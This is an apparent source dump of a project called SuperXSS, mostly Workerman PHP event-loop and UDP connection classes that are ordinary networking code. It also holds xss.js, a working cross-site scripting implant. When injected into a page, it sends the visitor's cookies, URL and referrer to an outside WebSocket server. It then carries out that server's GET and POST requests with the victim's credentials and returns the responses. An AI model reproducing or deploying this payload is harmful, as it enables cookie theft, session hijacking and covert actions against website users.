15 | use Workerman\Events\EventInterface;
16 |
17 | /**
18 | * Class ExtEventLoop
19 | * @package Workerman\Events\React
20 | */
21 | class ExtEventLoop extends \React\EventLoop\ExtEventLoop
22 | {
23 | /**
24 | * Event base.
25 | *
26 | * @var EventBase
27 | */
28 | protected $_eventBase = null;
29 |
30 | /**
31 | * All signal Event instances.
32 | *
33 | * @var array
34 | */
35 | protected $_signalEvents = array();
36 |
37 | /**
38 | * @var array
39 | */
40 | protected $_timerIdMap = array();
41 |
42 | /**
43 | * @var int
44 | */
45 | protected $_timerIdIndex = 0;
46 |
47 | /**
48 | * Add event listener to event loop.
49 | *
50 | * @param $fd
51 | * @param $flag
52 | * @param $func
53 | * @param array $args
54 | * @return bool
55 | */
56 | public function add($fd, $flag, $func, $args = array())
57 | {
58 | $args = (array)$args;
59 | switch ($flag) {
60 | case EventInterface::EV_READ:
61 | return $this->addReadStream($fd, $func);
62 | case EventInterface::EV_WRITE:
63 | return $this->addWriteStream($fd, $func);
64 | case EventInterface::EV_SIGNAL:
65 | return $this->addSignal($fd, $func);
66 | case EventInterface::EV_TIMER:
67 | $timer_id = ++$this->_timerIdIndex;
68 | $timer_obj = $this->addPeriodicTimer($fd, function() use ($func, $args) {
69 | call_user_func_array($func, $args);
70 | });
71 | $this->_timerIdMap[$timer_id] = $timer_obj;
72 | return $timer_id;
73 | case EventInterface::EV_TIMER_ONCE:
74 | $timer_id = ++$this->_timerIdIndex;
75 | $timer_obj = $this->addTimer($fd, function() use ($func, $args, $timer_id) {
76 | unset($this->_timerIdMap[$timer_id]);
77 | call_user_func_array($func, $args);
78 | });
79 | $this->_timerIdMap[$timer_id] = $timer_obj;
80 | return $timer_id;
81 | }
82 | return false;
83 | }
84 |
85 | /**
86 | * Remove event listener from event loop.
87 | *
88 | * @param mixed $fd
89 | * @param int $flag
90 | * @return bool
91 | */
92 | public function del($fd, $flag)
93 | {
94 | switch ($flag) {
95 | case EventInterface::EV_READ:
96 | return $this->removeReadStream($fd);
97 | case EventInterface::EV_WRITE:
98 | return $this->removeWriteStream($fd);
99 | case EventInterface::EV_SIGNAL:
100 | return $this->removeSignal($fd);
101 | case EventInterface::EV_TIMER:
102 | case EventInterface::EV_TIMER_ONCE:
103 | if (isset($this->_timerIdMap[$fd])){
104 | $timer_obj = $this->_timerIdMap[$fd];
105 | unset($this->_timerIdMap[$fd]);
106 | $this->cancelTimer($timer_obj);
107 | return true;
108 | }
109 | }
110 | return false;
111 | }
112 |
113 |
114 | /**
115 | * Main loop.
116 | *
117 | * @return void
118 | */
119 | public function loop()
120 | {
121 | $this->run();
122 | }
123 |
124 | /**
125 | * Construct
126 | */
127 | public function __construct()
128 | {
129 | parent::__construct();
130 | $class = new \ReflectionClass('\React\EventLoop\ExtEventLoop');
131 | $property = $class->getProperty('eventBase');
132 | $property->setAccessible(true);
133 | $this->_eventBase = $property->getValue($this);
134 | }
135 |
136 | /**
137 | * Add signal handler.
138 | *
139 | * @param $signal
140 | * @param $callback
141 | * @return bool
142 | */
143 | public function addSignal($signal, $callback)
144 | {
145 | $event = \Event::signal($this->_eventBase, $signal, $callback);
146 | if (!$event||!$event->add()) {
147 | return false;
148 | }
149 | $this->_signalEvents[$signal] = $event;
150 | }
151 |
152 | /**
153 | * Remove signal handler.
154 | *
155 | * @param $signal
156 | */
157 | public function removeSignal($signal)
158 | {
159 | if (isset($this->_signalEvents[$signal])) {
160 | $this->_signalEvents[$signal]->del();
161 | unset($this->_signalEvents[$signal]);
162 | }
163 | }
164 |
165 | /**
166 | * Destroy loop.
167 | *
168 | * @return void
169 | */
170 | public function destroy()
171 | {
172 | foreach ($this->_signalEvents as $event) {
173 | $event->del();
174 | }
175 | }
176 |
177 | /**
178 | * Get timer count.
179 | *
180 | * @return integer
181 | */
182 | public function getTimerCount()
183 | {
184 | return count($this->_timerIdMap);
185 | }
186 | }
187 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/React/LibEventLoop.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events\React;
15 | use Workerman\Events\EventInterface;
16 |
17 | /**
18 | * Class LibEventLoop
19 | * @package Workerman\Events\React
20 | */
21 | class LibEventLoop extends \React\EventLoop\LibEventLoop
22 | {
23 | /**
24 | * Event base.
25 | *
26 | * @var event_base resource
27 | */
28 | protected $_eventBase = null;
29 |
30 | /**
31 | * All signal Event instances.
32 | *
33 | * @var array
34 | */
35 | protected $_signalEvents = array();
36 |
37 | /**
38 | * @var array
39 | */
40 | protected $_timerIdMap = array();
41 |
42 | /**
43 | * @var int
44 | */
45 | protected $_timerIdIndex = 0;
46 |
47 | /**
48 | * Add event listener to event loop.
49 | *
50 | * @param $fd
51 | * @param $flag
52 | * @param $func
53 | * @param array $args
54 | * @return bool
55 | */
56 | public function add($fd, $flag, $func, $args = array())
57 | {
58 | $args = (array)$args;
59 | switch ($flag) {
60 | case EventInterface::EV_READ:
61 | return $this->addReadStream($fd, $func);
62 | case EventInterface::EV_WRITE:
63 | return $this->addWriteStream($fd, $func);
64 | case EventInterface::EV_SIGNAL:
65 | return $this->addSignal($fd, $func);
66 | case EventInterface::EV_TIMER:
67 | $timer_id = ++$this->_timerIdIndex;
68 | $timer_obj = $this->addPeriodicTimer($fd, function() use ($func, $args) {
69 | call_user_func_array($func, $args);
70 | });
71 | $this->_timerIdMap[$timer_id] = $timer_obj;
72 | return $timer_id;
73 | case EventInterface::EV_TIMER_ONCE:
74 | $timer_id = ++$this->_timerIdIndex;
75 | $timer_obj = $this->addTimer($fd, function() use ($func, $args, $timer_id) {
76 | unset($this->_timerIdMap[$timer_id]);
77 | call_user_func_array($func, $args);
78 | });
79 | $this->_timerIdMap[$timer_id] = $timer_obj;
80 | return $timer_id;
81 | }
82 | return false;
83 | }
84 |
85 | /**
86 | * Remove event listener from event loop.
87 | *
88 | * @param mixed $fd
89 | * @param int $flag
90 | * @return bool
91 | */
92 | public function del($fd, $flag)
93 | {
94 | switch ($flag) {
95 | case EventInterface::EV_READ:
96 | return $this->removeReadStream($fd);
97 | case EventInterface::EV_WRITE:
98 | return $this->removeWriteStream($fd);
99 | case EventInterface::EV_SIGNAL:
100 | return $this->removeSignal($fd);
101 | case EventInterface::EV_TIMER:
102 | case EventInterface::EV_TIMER_ONCE:
103 | if (isset($this->_timerIdMap[$fd])){
104 | $timer_obj = $this->_timerIdMap[$fd];
105 | unset($this->_timerIdMap[$fd]);
106 | $this->cancelTimer($timer_obj);
107 | return true;
108 | }
109 | }
110 | return false;
111 | }
112 |
113 |
114 | /**
115 | * Main loop.
116 | *
117 | * @return void
118 | */
119 | public function loop()
120 | {
121 | $this->run();
122 | }
123 |
124 | /**
125 | * Construct.
126 | */
127 | public function __construct()
128 | {
129 | parent::__construct();
130 | $class = new \ReflectionClass('\React\EventLoop\LibEventLoop');
131 | $property = $class->getProperty('eventBase');
132 | $property->setAccessible(true);
133 | $this->_eventBase = $property->getValue($this);
134 | }
135 |
136 | /**
137 | * Add signal handler.
138 | *
139 | * @param $signal
140 | * @param $callback
141 | * @return bool
142 | */
143 | public function addSignal($signal, $callback)
144 | {
145 | $event = event_new();
146 | $this->_signalEvents[$signal] = $event;
147 | event_set($event, $signal, EV_SIGNAL | EV_PERSIST, $callback);
148 | event_base_set($event, $this->_eventBase);
149 | event_add($event);
150 | }
151 |
152 | /**
153 | * Remove signal handler.
154 | *
155 | * @param $signal
156 | */
157 | public function removeSignal($signal)
158 | {
159 | if (isset($this->_signalEvents[$signal])) {
160 | $event = $this->_signalEvents[$signal];
161 | event_del($event);
162 | unset($this->_signalEvents[$signal]);
163 | }
164 | }
165 |
166 | /**
167 | * Destroy loop.
168 | *
169 | * @return void
170 | */
171 | public function destroy()
172 | {
173 | foreach ($this->_signalEvents as $event) {
174 | event_del($event);
175 | }
176 | }
177 |
178 | /**
179 | * Get timer count.
180 | *
181 | * @return integer
182 | */
183 | public function getTimerCount()
184 | {
185 | return count($this->_timerIdMap);
186 | }
187 | }
188 |
--------------------------------------------------------------------------------
/SuperXSS-Front/xss.js:
--------------------------------------------------------------------------------
1 | var xss={
2 | joblist:[],
3 | init:function(wsaddress){
4 | var ws = new WebSocket(wsaddress);
5 | ws.onopen = function(evt) {
6 | console.log("Connection open ...");
7 | ws.send(JSON.stringify({
8 | 'OP':'init',
9 | 'UA':btoa(navigator.userAgent),
10 | 'URL':btoa(window.location),
11 | 'REFERER':btoa(document.referrer),
12 | 'BASEURL':btoa(window.location.protocol+"//"+window.location.host),
13 | 'COOKIE':btoa(document.cookie)
14 | }));
15 | };
16 | setInterval(this.ping,3000,ws);
17 | ws.addEventListener("message", this.handleMessage);
18 | },
19 | ping:function(ws){
20 | if(ws.readyState!=WebSocket.OPEN){
21 | return false;
22 | }
23 | ws.send(JSON.stringify({
24 | 'OP':'ping'
25 | }));
26 | },
27 | handleMessage:function(e){
28 | var act=JSON.parse(e.data);
29 | if(act.OP){
30 | switch(act.OP){
31 | case "GET":
32 | //收到请求后,向服务器发送确认,并且把job添加到joblist
33 | //只有当服务器二次确认后才能开始抓取并返回结果
34 | this.send(JSON.stringify({
35 | 'OP':'confirmxhr',
36 | 'JOBID':act.JOBID
37 | }));
38 | xss.joblist.push({
39 | 'JOBID':act.JOBID,
40 | 'TYPE':'GET',
41 | 'DETAIL':act,
42 | })
43 | break;
44 | case "POST":
45 | this.send(JSON.stringify({
46 | 'OP':'confirmxhr',
47 | 'JOBID':act.JOBID
48 | }));
49 | xss.joblist.push({
50 | 'JOBID':act.JOBID,
51 | 'TYPE':'POST',
52 | 'DETAIL':act,
53 | })
54 | break;
55 | }
56 | }else if(act.STATUS){
57 | switch(act.STATUS){
58 | case 1:
59 | //正常,开始处理对应JOBID的事项
60 | var work=xss.joblist.find((v)=>{return v.JOBID==act.JOBID;});
61 | if(work){
62 | //如果JOBLIST里有该项工作
63 | switch(work.TYPE){
64 | case "GET":
65 | xss.processGET(work.DETAIL,this);
66 | break;
67 | case "POST":
68 | xss.processPOST(work.DETAIL,this);
69 | break;
70 | }
71 | //任务已处理,从队列中删除
72 | var i=0;xss.joblist.map((e)=>{if(e.JOBID==act.JOBID){xss.joblist.splice(i,1)};i++;});
73 | }
74 | break;
75 | case 0:
76 | //不正常,从队列中删除
77 | var i=0;xss.joblist.map((e)=>{if(e.JOBID==act.JOBID){xss.joblist.splice(i,1)};i++;});
78 | break;
79 | }
80 | }
81 | },
82 | processGET:function(act,ws){
83 | console.log('NEW GET JOB, [GET] URL='+act.URI+' JOBID=' + act.JOBID);
84 | fetch(act.URI,{credentials:'include'}).then((data)=>{
85 | data.arrayBuffer().then((val)=>{return {'val':val,'response':data,'act':act,'ws':ws}}).then((obj)=>{
86 | obj.ws.send(JSON.stringify({
87 | 'OP':'pushxhr',
88 | 'STATUS_CODE':obj.response.status,
89 | 'JOBID':obj.act.JOBID,
90 | 'CT':obj.response.headers.get('content-type'),
91 | 'CONTENT':xss.buf2hex(obj.val)
92 | }));
93 | });
94 | })
95 | },
96 | processPOST:function(act,ws){
97 | console.log('NEW GET JOB, [POST] URL='+act.URI+' JOBID=' + act.JOBID);
98 | var body=new Int8Array(xss.hex2buf(act.DATA)).buffer;
99 | fetch(act.URI,{
100 | credentials:'include',
101 | method: "POST",
102 | headers: {
103 | "Content-Type": act.CT
104 | },
105 | body: body
106 | }).then((data)=>{
107 | data.arrayBuffer().then((val)=>{return {'val':val,'response':data,'act':act,'ws':ws}}).then((obj)=>{
108 | obj.ws.send(JSON.stringify({
109 | 'OP':'pushxhr',
110 | 'STATUS_CODE':obj.response.status,
111 | 'JOBID':obj.act.JOBID,
112 | 'CT':obj.response.headers.get('content-type'),
113 | 'CONTENT':xss.buf2hex(obj.val)
114 | }));
115 | });
116 | })
117 | },
118 | buf2hex:function(buffer) { // buffer is an ArrayBuffer
119 | return Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join('');
120 | },
121 | hex2buf:function(hex) {
122 | for (var bytes = [], c = 0; c < hex.length; c += 2)
123 | bytes.push(parseInt(hex.substr(c, 2), 16));
124 | return bytes;
125 | }
126 | }
127 | xss.init("wss://ws.loli.uz/");
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/Ev.php:
--------------------------------------------------------------------------------
1 |
10 | * @link http://www.workerman.net/
11 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
12 | */
13 | namespace Workerman\Events;
14 |
15 | use Workerman\Worker;
16 |
17 | /**
18 | * ev eventloop
19 | */
20 | class Ev implements EventInterface
21 | {
22 | /**
23 | * All listeners for read/write event.
24 | *
25 | * @var array
26 | */
27 | protected $_allEvents = array();
28 |
29 | /**
30 | * Event listeners of signal.
31 | *
32 | * @var array
33 | */
34 | protected $_eventSignal = array();
35 |
36 | /**
37 | * All timer event listeners.
38 | * [func, args, event, flag, time_interval]
39 | *
40 | * @var array
41 | */
42 | protected $_eventTimer = array();
43 |
44 | /**
45 | * Timer id.
46 | *
47 | * @var int
48 | */
49 | protected static $_timerId = 1;
50 |
51 | /**
52 | * Add a timer.
53 | * {@inheritdoc}
54 | */
55 | public function add($fd, $flag, $func, $args = null)
56 | {
57 | $callback = function ($event, $socket) use ($fd, $func) {
58 | try {
59 | call_user_func($func, $fd);
60 | } catch (\Exception $e) {
61 | Worker::log($e);
62 | exit(250);
63 | } catch (\Error $e) {
64 | Worker::log($e);
65 | exit(250);
66 | }
67 | };
68 | switch ($flag) {
69 | case self::EV_SIGNAL:
70 | $event = new \EvSignal($fd, $callback);
71 | $this->_eventSignal[$fd] = $event;
72 | return true;
73 | case self::EV_TIMER:
74 | case self::EV_TIMER_ONCE:
75 | $repeat = $flag == self::EV_TIMER_ONCE ? 0 : $fd;
76 | $param = array($func, (array)$args, $flag, $fd, self::$_timerId);
77 | $event = new \EvTimer($fd, $repeat, array($this, 'timerCallback'), $param);
78 | $this->_eventTimer[self::$_timerId] = $event;
79 | return self::$_timerId++;
80 | default :
81 | $fd_key = (int)$fd;
82 | $real_flag = $flag === self::EV_READ ? \Ev::READ : \Ev::WRITE;
83 | $event = new \EvIo($fd, $real_flag, $callback);
84 | $this->_allEvents[$fd_key][$flag] = $event;
85 | return true;
86 | }
87 |
88 | }
89 |
90 | /**
91 | * Remove a timer.
92 | * {@inheritdoc}
93 | */
94 | public function del($fd, $flag)
95 | {
96 | switch ($flag) {
97 | case self::EV_READ:
98 | case self::EV_WRITE:
99 | $fd_key = (int)$fd;
100 | if (isset($this->_allEvents[$fd_key][$flag])) {
101 | $this->_allEvents[$fd_key][$flag]->stop();
102 | unset($this->_allEvents[$fd_key][$flag]);
103 | }
104 | if (empty($this->_allEvents[$fd_key])) {
105 | unset($this->_allEvents[$fd_key]);
106 | }
107 | break;
108 | case self::EV_SIGNAL:
109 | $fd_key = (int)$fd;
110 | if (isset($this->_eventSignal[$fd_key])) {
111 | $this->_eventSignal[$fd_key]->stop();
112 | unset($this->_eventSignal[$fd_key]);
113 | }
114 | break;
115 | case self::EV_TIMER:
116 | case self::EV_TIMER_ONCE:
117 | if (isset($this->_eventTimer[$fd])) {
118 | $this->_eventTimer[$fd]->stop();
119 | unset($this->_eventTimer[$fd]);
120 | }
121 | break;
122 | }
123 | return true;
124 | }
125 |
126 | /**
127 | * Timer callback.
128 | *
129 | * @param \EvWatcher $event
130 | */
131 | public function timerCallback($event)
132 | {
133 | $param = $event->data;
134 | $timer_id = $param[4];
135 | if ($param[2] === self::EV_TIMER_ONCE) {
136 | $this->_eventTimer[$timer_id]->stop();
137 | unset($this->_eventTimer[$timer_id]);
138 | }
139 | try {
140 | call_user_func_array($param[0], $param[1]);
141 | } catch (\Exception $e) {
142 | Worker::log($e);
143 | exit(250);
144 | } catch (\Error $e) {
145 | Worker::log($e);
146 | exit(250);
147 | }
148 | }
149 |
150 | /**
151 | * Remove all timers.
152 | *
153 | * @return void
154 | */
155 | public function clearAllTimer()
156 | {
157 | foreach ($this->_eventTimer as $event) {
158 | $event->stop();
159 | }
160 | $this->_eventTimer = array();
161 | }
162 |
163 | /**
164 | * Main loop.
165 | *
166 | * @see EventInterface::loop()
167 | */
168 | public function loop()
169 | {
170 | \Ev::run();
171 | }
172 |
173 | /**
174 | * Destroy loop.
175 | *
176 | * @return void
177 | */
178 | public function destroy()
179 | {
180 | foreach ($this->_allEvents as $event) {
181 | $event->stop();
182 | }
183 | }
184 |
185 | /**
186 | * Get timer count.
187 | *
188 | * @return integer
189 | */
190 | public function getTimerCount()
191 | {
192 | return count($this->_eventTimer);
193 | }
194 | }
195 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Connection/AsyncUdpConnection.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Connection;
15 |
16 | use Workerman\Events\EventInterface;
17 | use Workerman\Worker;
18 | use Exception;
19 |
20 | /**
21 | * AsyncTcpConnection.
22 | */
23 | class AsyncUdpConnection extends UdpConnection
24 | {
25 | /**
26 | * Emitted when socket connection is successfully established.
27 | *
28 | * @var callback
29 | */
30 | public $onConnect = null;
31 |
32 | /**
33 | * Emitted when socket connection closed.
34 | *
35 | * @var callback
36 | */
37 | public $onClose = null;
38 |
39 | /**
40 | * Connected or not.
41 | *
42 | * @var bool
43 | */
44 | protected $connected = false;
45 |
46 | /**
47 | * Construct.
48 | *
49 | * @param string $remote_address
50 | * @throws Exception
51 | */
52 | public function __construct($remote_address)
53 | {
54 | // Get the application layer communication protocol and listening address.
55 | list($scheme, $address) = explode(':', $remote_address, 2);
56 | // Check application layer protocol class.
57 | if ($scheme !== 'udp') {
58 | $scheme = ucfirst($scheme);
59 | $this->protocol = '\\Protocols\\' . $scheme;
60 | if (!class_exists($this->protocol)) {
61 | $this->protocol = "\\Workerman\\Protocols\\$scheme";
62 | if (!class_exists($this->protocol)) {
63 | throw new Exception("class \\Protocols\\$scheme not exist");
64 | }
65 | }
66 | }
67 |
68 | $this->_remoteAddress = substr($address, 2);
69 | }
70 |
71 | /**
72 | * For udp package.
73 | *
74 | * @param resource $socket
75 | * @return bool
76 | */
77 | public function baseRead($socket)
78 | {
79 | $recv_buffer = stream_socket_recvfrom($socket, Worker::MAX_UDP_PACKAGE_SIZE, 0, $remote_address);
80 | if (false === $recv_buffer || empty($remote_address)) {
81 | return false;
82 | }
83 |
84 | if ($this->onMessage) {
85 | if ($this->protocol) {
86 | $parser = $this->protocol;
87 | $recv_buffer = $parser::decode($recv_buffer, $this);
88 | }
89 | ConnectionInterface::$statistics['total_request']++;
90 | try {
91 | call_user_func($this->onMessage, $this, $recv_buffer);
92 | } catch (\Exception $e) {
93 | Worker::log($e);
94 | exit(250);
95 | } catch (\Error $e) {
96 | Worker::log($e);
97 | exit(250);
98 | }
99 | }
100 | return true;
101 | }
102 |
103 | /**
104 | * Sends data on the connection.
105 | *
106 | * @param string $send_buffer
107 | * @param bool $raw
108 | * @return void|boolean
109 | */
110 | public function send($send_buffer, $raw = false)
111 | {
112 | if (false === $raw && $this->protocol) {
113 | $parser = $this->protocol;
114 | $send_buffer = $parser::encode($send_buffer, $this);
115 | if ($send_buffer === '') {
116 | return null;
117 | }
118 | }
119 | if ($this->connected === false) {
120 | $this->connect();
121 | }
122 | return strlen($send_buffer) === stream_socket_sendto($this->_socket, $send_buffer, 0);
123 | }
124 |
125 |
126 | /**
127 | * Close connection.
128 | *
129 | * @param mixed $data
130 | * @param bool $raw
131 | *
132 | * @return bool
133 | */
134 | public function close($data = null, $raw = false)
135 | {
136 | if ($data !== null) {
137 | $this->send($data, $raw);
138 | }
139 | Worker::$globalEvent->del($this->_socket, EventInterface::EV_READ);
140 | fclose($this->_socket);
141 | $this->connected = false;
142 | // Try to emit onClose callback.
143 | if ($this->onClose) {
144 | try {
145 | call_user_func($this->onClose, $this);
146 | } catch (\Exception $e) {
147 | Worker::log($e);
148 | exit(250);
149 | } catch (\Error $e) {
150 | Worker::log($e);
151 | exit(250);
152 | }
153 | }
154 | $this->onConnect = $this->onMessage = $this->onClose = null;
155 | return true;
156 | }
157 |
158 | /**
159 | * Connect.
160 | *
161 | * @return void
162 | */
163 | public function connect()
164 | {
165 | if ($this->connected === true) {
166 | return;
167 | }
168 | $this->_socket = stream_socket_client("udp://{$this->_remoteAddress}");
169 | if ($this->onMessage) {
170 | Worker::$globalEvent->add($this->_socket, EventInterface::EV_READ, array($this, 'baseRead'));
171 | }
172 | $this->connected = true;
173 | // Try to emit onConnect callback.
174 | if ($this->onConnect) {
175 | try {
176 | call_user_func($this->onConnect, $this);
177 | } catch (\Exception $e) {
178 | Worker::log($e);
179 | exit(250);
180 | } catch (\Error $e) {
181 | Worker::log($e);
182 | exit(250);
183 | }
184 | }
185 | }
186 |
187 | }
188 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/React/StreamSelectLoop.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events\React;
15 | use Workerman\Events\EventInterface;
16 |
17 | /**
18 | * Class StreamSelectLoop
19 | * @package Workerman\Events\React
20 | */
21 | class StreamSelectLoop extends \React\EventLoop\StreamSelectLoop
22 | {
23 | /**
24 | * @var array
25 | */
26 | protected $_timerIdMap = array();
27 |
28 | /**
29 | * @var int
30 | */
31 | protected $_timerIdIndex = 0;
32 |
33 | /**
34 | * Add event listener to event loop.
35 | *
36 | * @param $fd
37 | * @param $flag
38 | * @param $func
39 | * @param array $args
40 | * @return bool
41 | */
42 | public function add($fd, $flag, $func, $args = array())
43 | {
44 | $args = (array)$args;
45 | switch ($flag) {
46 | case EventInterface::EV_READ:
47 | return $this->addReadStream($fd, $func);
48 | case EventInterface::EV_WRITE:
49 | return $this->addWriteStream($fd, $func);
50 | case EventInterface::EV_SIGNAL:
51 | return $this->addSignal($fd, $func);
52 | case EventInterface::EV_TIMER:
53 | $timer_obj = $this->addPeriodicTimer($fd, function() use ($func, $args) {
54 | call_user_func_array($func, $args);
55 | });
56 | $this->_timerIdMap[++$this->_timerIdIndex] = $timer_obj;
57 | return $this->_timerIdIndex;
58 | case EventInterface::EV_TIMER_ONCE:
59 | $index = ++$this->_timerIdIndex;
60 | $timer_obj = $this->addTimer($fd, function() use ($func, $args, $index) {
61 | $this->del($index,EventInterface::EV_TIMER_ONCE);
62 | call_user_func_array($func, $args);
63 | });
64 | $this->_timerIdMap[$index] = $timer_obj;
65 | return $this->_timerIdIndex;
66 | }
67 | return false;
68 | }
69 |
70 | /**
71 | * Remove event listener from event loop.
72 | *
73 | * @param mixed $fd
74 | * @param int $flag
75 | * @return bool
76 | */
77 | public function del($fd, $flag)
78 | {
79 | switch ($flag) {
80 | case EventInterface::EV_READ:
81 | return $this->removeReadStream($fd);
82 | case EventInterface::EV_WRITE:
83 | return $this->removeWriteStream($fd);
84 | case EventInterface::EV_SIGNAL:
85 | return $this->removeSignal($fd);
86 | case EventInterface::EV_TIMER:
87 | case EventInterface::EV_TIMER_ONCE:
88 | if (isset($this->_timerIdMap[$fd])){
89 | $timer_obj = $this->_timerIdMap[$fd];
90 | unset($this->_timerIdMap[$fd]);
91 | $this->cancelTimer($timer_obj);
92 | return true;
93 | }
94 | }
95 | return false;
96 | }
97 |
98 |
99 | /**
100 | * Main loop.
101 | *
102 | * @return void
103 | */
104 | public function loop()
105 | {
106 | $this->run();
107 | }
108 |
109 | /**
110 | * Add signal handler.
111 | *
112 | * @param $signal
113 | * @param $callback
114 | * @return bool
115 | */
116 | public function addSignal($signal, $callback)
117 | {
118 | if(DIRECTORY_SEPARATOR === '/') {
119 | pcntl_signal($signal, $callback);
120 | }
121 | }
122 |
123 | /**
124 | * Remove signal handler.
125 | *
126 | * @param $signal
127 | */
128 | public function removeSignal($signal)
129 | {
130 | if(DIRECTORY_SEPARATOR === '/') {
131 | pcntl_signal($signal, SIG_IGN);
132 | }
133 | }
134 |
135 | /**
136 | * Emulate a stream_select() implementation that does not break when passed
137 | * empty stream arrays.
138 | *
139 | * @param array &$read An array of read streams to select upon.
140 | * @param array &$write An array of write streams to select upon.
141 | * @param integer|null $timeout Activity timeout in microseconds, or null to wait forever.
142 | *
143 | * @return integer|false The total number of streams that are ready for read/write.
144 | * Can return false if stream_select() is interrupted by a signal.
145 | */
146 | protected function streamSelect(array &$read, array &$write, $timeout)
147 | {
148 | if ($read || $write) {
149 | $except = null;
150 | // Calls signal handlers for pending signals
151 | if(DIRECTORY_SEPARATOR === '/') {
152 | pcntl_signal_dispatch();
153 | }
154 | // suppress warnings that occur, when stream_select is interrupted by a signal
155 | return @stream_select($read, $write, $except, $timeout === null ? null : 0, $timeout);
156 | }
157 |
158 | // Calls signal handlers for pending signals
159 | if(DIRECTORY_SEPARATOR === '/') {
160 | pcntl_signal_dispatch();
161 | }
162 | $timeout && usleep($timeout);
163 |
164 | return 0;
165 | }
166 |
167 | /**
168 | * Destroy loop.
169 | *
170 | * @return void
171 | */
172 | public function destroy()
173 | {
174 |
175 | }
176 |
177 | /**
178 | * Get timer count.
179 | *
180 | * @return integer
181 | */
182 | public function getTimerCount()
183 | {
184 | return count($this->_timerIdMap);
185 | }
186 | }
187 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/Event.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright 有个鬼<42765633@qq.com>
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events;
15 |
16 | use Workerman\Worker;
17 |
18 | /**
19 | * libevent eventloop
20 | */
21 | class Event implements EventInterface
22 | {
23 | /**
24 | * Event base.
25 | * @var object
26 | */
27 | protected $_eventBase = null;
28 |
29 | /**
30 | * All listeners for read/write event.
31 | * @var array
32 | */
33 | protected $_allEvents = array();
34 |
35 | /**
36 | * Event listeners of signal.
37 | * @var array
38 | */
39 | protected $_eventSignal = array();
40 |
41 | /**
42 | * All timer event listeners.
43 | * [func, args, event, flag, time_interval]
44 | * @var array
45 | */
46 | protected $_eventTimer = array();
47 |
48 | /**
49 | * Timer id.
50 | * @var int
51 | */
52 | protected static $_timerId = 1;
53 |
54 | /**
55 | * construct
56 | * @return void
57 | */
58 | public function __construct()
59 | {
60 | $this->_eventBase = new \EventBase();
61 | }
62 |
63 | /**
64 | * @see EventInterface::add()
65 | */
66 | public function add($fd, $flag, $func, $args=array())
67 | {
68 | switch ($flag) {
69 | case self::EV_SIGNAL:
70 |
71 | $fd_key = (int)$fd;
72 | $event = \Event::signal($this->_eventBase, $fd, $func);
73 | if (!$event||!$event->add()) {
74 | return false;
75 | }
76 | $this->_eventSignal[$fd_key] = $event;
77 | return true;
78 |
79 | case self::EV_TIMER:
80 | case self::EV_TIMER_ONCE:
81 |
82 | $param = array($func, (array)$args, $flag, $fd, self::$_timerId);
83 | $event = new \Event($this->_eventBase, -1, \Event::TIMEOUT|\Event::PERSIST, array($this, "timerCallback"), $param);
84 | if (!$event||!$event->addTimer($fd)) {
85 | return false;
86 | }
87 | $this->_eventTimer[self::$_timerId] = $event;
88 | return self::$_timerId++;
89 |
90 | default :
91 | $fd_key = (int)$fd;
92 | $real_flag = $flag === self::EV_READ ? \Event::READ | \Event::PERSIST : \Event::WRITE | \Event::PERSIST;
93 | $event = new \Event($this->_eventBase, $fd, $real_flag, $func, $fd);
94 | if (!$event||!$event->add()) {
95 | return false;
96 | }
97 | $this->_allEvents[$fd_key][$flag] = $event;
98 | return true;
99 | }
100 | }
101 |
102 | /**
103 | * @see Events\EventInterface::del()
104 | */
105 | public function del($fd, $flag)
106 | {
107 | switch ($flag) {
108 |
109 | case self::EV_READ:
110 | case self::EV_WRITE:
111 |
112 | $fd_key = (int)$fd;
113 | if (isset($this->_allEvents[$fd_key][$flag])) {
114 | $this->_allEvents[$fd_key][$flag]->del();
115 | unset($this->_allEvents[$fd_key][$flag]);
116 | }
117 | if (empty($this->_allEvents[$fd_key])) {
118 | unset($this->_allEvents[$fd_key]);
119 | }
120 | break;
121 |
122 | case self::EV_SIGNAL:
123 | $fd_key = (int)$fd;
124 | if (isset($this->_eventSignal[$fd_key])) {
125 | $this->_eventSignal[$fd_key]->del();
126 | unset($this->_eventSignal[$fd_key]);
127 | }
128 | break;
129 |
130 | case self::EV_TIMER:
131 | case self::EV_TIMER_ONCE:
132 | if (isset($this->_eventTimer[$fd])) {
133 | $this->_eventTimer[$fd]->del();
134 | unset($this->_eventTimer[$fd]);
135 | }
136 | break;
137 | }
138 | return true;
139 | }
140 |
141 | /**
142 | * Timer callback.
143 | * @param null $fd
144 | * @param int $what
145 | * @param int $timer_id
146 | */
147 | public function timerCallback($fd, $what, $param)
148 | {
149 | $timer_id = $param[4];
150 |
151 | if ($param[2] === self::EV_TIMER_ONCE) {
152 | $this->_eventTimer[$timer_id]->del();
153 | unset($this->_eventTimer[$timer_id]);
154 | }
155 |
156 | try {
157 | call_user_func_array($param[0], $param[1]);
158 | } catch (\Exception $e) {
159 | Worker::log($e);
160 | exit(250);
161 | } catch (\Error $e) {
162 | Worker::log($e);
163 | exit(250);
164 | }
165 | }
166 |
167 | /**
168 | * @see Events\EventInterface::clearAllTimer()
169 | * @return void
170 | */
171 | public function clearAllTimer()
172 | {
173 | foreach ($this->_eventTimer as $event) {
174 | $event->del();
175 | }
176 | $this->_eventTimer = array();
177 | }
178 |
179 |
180 | /**
181 | * @see EventInterface::loop()
182 | */
183 | public function loop()
184 | {
185 | $this->_eventBase->loop();
186 | }
187 |
